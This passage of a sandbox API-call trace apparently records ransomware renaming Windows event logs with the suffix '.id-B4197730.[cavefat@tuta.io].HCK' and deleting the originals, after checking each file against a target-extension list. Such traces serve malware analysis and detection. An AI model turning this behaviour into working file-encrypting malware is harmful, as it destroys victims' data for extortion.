(lpString=".dbf") returned 4 [0153.795] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0153.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.795] lstrlenW (lpString=".1cd") returned 4 [0153.795] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0153.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.795] lstrlenW (lpString=".jpg") returned 4 [0153.795] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0153.795] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0153.795] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0153.795] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0153.795] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0153.795] CloseHandle (hObject=0x308) returned 1 [0153.795] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0153.796] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.796] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.447] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.447] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0154.447] GetLastError () returned 0x0 [0154.447] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.450] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.451] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.451] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0154.451] SetEndOfFile (hFile=0x300) returned 1 [0154.451] CloseHandle (hObject=0x300) returned 1 [0154.453] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.453] SetEndOfFile (hFile=0x380) returned 1 [0154.454] CloseHandle (hObject=0x380) returned 1 [0154.454] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.454] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".doc") returned 4 [0154.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".docx") returned 5 [0154.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.455] lstrlenW (lpString=".pdf") returned 4 [0154.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".xls") returned 4 [0154.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".xlsx") returned 5 [0154.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.455] lstrlenW (lpString=".ppt") returned 4 [0154.455] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".zip") returned 4 [0154.455] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".rar") returned 4 [0154.455] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".bz2") returned 4 [0154.455] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".7z") returned 3 [0154.455] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".dbf") returned 4 [0154.455] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".1cd") returned 4 [0154.455] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".jpg") returned 4 [0154.455] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.455] lstrlenW (lpString=".doc") returned 4 [0154.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.455] lstrlenW (lpString=".docx") returned 5 [0154.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.456] lstrlenW (lpString=".pdf") returned 4 [0154.456] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString=".xls") returned 4 [0154.456] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString=".xlsx") returned 5 [0154.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.456] lstrlenW (lpString=".ppt") returned 4 [0154.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.456] lstrlenW (lpString=".zip") returned 4 [0154.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString=".rar") returned 4 [0154.456] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString=".bz2") returned 4 [0154.456] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString=".7z") returned 3 [0154.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.456] lstrlenW (lpString=".dbf") returned 4 [0154.456] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.456] lstrlenW (lpString=".1cd") returned 4 [0154.456] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0154.456] lstrlenW (lpString=".jpg") returned 4 [0154.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.456] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.456] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0154.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.456] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.456] CloseHandle (hObject=0x380) returned 1 [0154.456] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0154.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.457] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.457] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0154.457] GetLastError () returned 0x0 [0154.457] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.460] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.461] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.461] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x146, lpOverlapped=0x0) returned 1 [0154.461] SetEndOfFile (hFile=0x300) returned 1 [0154.462] CloseHandle (hObject=0x300) returned 1 [0154.463] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.463] SetEndOfFile (hFile=0x380) returned 1 [0154.465] CloseHandle (hObject=0x380) returned 1 [0154.465] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.466] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.466] lstrlenW (lpString=".doc") returned 4 [0154.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".docx") returned 5 [0154.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.466] lstrlenW (lpString=".pdf") returned 4 [0154.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".xls") returned 4 [0154.466] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".xlsx") returned 5 [0154.466] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.466] lstrlenW (lpString=".ppt") returned 4 [0154.466] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.466] lstrlenW (lpString=".zip") returned 4 [0154.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".rar") returned 4 [0154.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".bz2") returned 4 [0154.466] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString=".7z") returned 3 [0154.466] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.466] lstrlenW (lpString=".dbf") returned 4 [0154.466] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.466] lstrlenW (lpString=".1cd") returned 4 [0154.466] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".jpg") returned 4 [0154.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".doc") returned 4 [0154.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".docx") returned 5 [0154.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.467] lstrlenW (lpString=".pdf") returned 4 [0154.467] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".xls") returned 4 [0154.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".xlsx") returned 5 [0154.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.467] lstrlenW (lpString=".ppt") returned 4 [0154.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".zip") returned 4 [0154.467] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".rar") returned 4 [0154.467] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".bz2") returned 4 [0154.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString=".7z") returned 3 [0154.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".dbf") returned 4 [0154.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".1cd") returned 4 [0154.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0154.467] lstrlenW (lpString=".jpg") returned 4 [0154.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.467] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.467] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0154.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.467] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.468] CloseHandle (hObject=0x380) returned 1 [0154.468] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0154.468] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.468] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.468] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.468] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.468] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0154.469] GetLastError () returned 0x0 [0154.469] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.475] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.476] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.476] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x144, lpOverlapped=0x0) returned 1 [0154.476] SetEndOfFile (hFile=0x300) returned 1 [0154.477] CloseHandle (hObject=0x300) returned 1 [0154.478] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.478] SetEndOfFile (hFile=0x380) returned 1 [0154.479] CloseHandle (hObject=0x380) returned 1 [0154.479] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.480] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString=".doc") returned 4 [0154.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".docx") returned 5 [0154.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.480] lstrlenW (lpString=".pdf") returned 4 [0154.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".xls") returned 4 [0154.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".xlsx") returned 5 [0154.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.480] lstrlenW (lpString=".ppt") returned 4 [0154.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString=".zip") returned 4 [0154.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".rar") returned 4 [0154.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".bz2") returned 4 [0154.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString=".7z") returned 3 [0154.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString=".dbf") returned 4 [0154.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString=".1cd") returned 4 [0154.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.480] lstrlenW (lpString=".jpg") returned 4 [0154.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString=".doc") returned 4 [0154.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".docx") returned 5 [0154.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.481] lstrlenW (lpString=".pdf") returned 4 [0154.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".xls") returned 4 [0154.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".xlsx") returned 5 [0154.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.481] lstrlenW (lpString=".ppt") returned 4 [0154.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString=".zip") returned 4 [0154.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".rar") returned 4 [0154.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".bz2") returned 4 [0154.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString=".7z") returned 3 [0154.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString=".dbf") returned 4 [0154.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString=".1cd") returned 4 [0154.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0154.481] lstrlenW (lpString=".jpg") returned 4 [0154.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.481] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.481] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0154.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.481] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.482] CloseHandle (hObject=0x380) returned 1 [0154.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0154.482] GetFileAttributesW 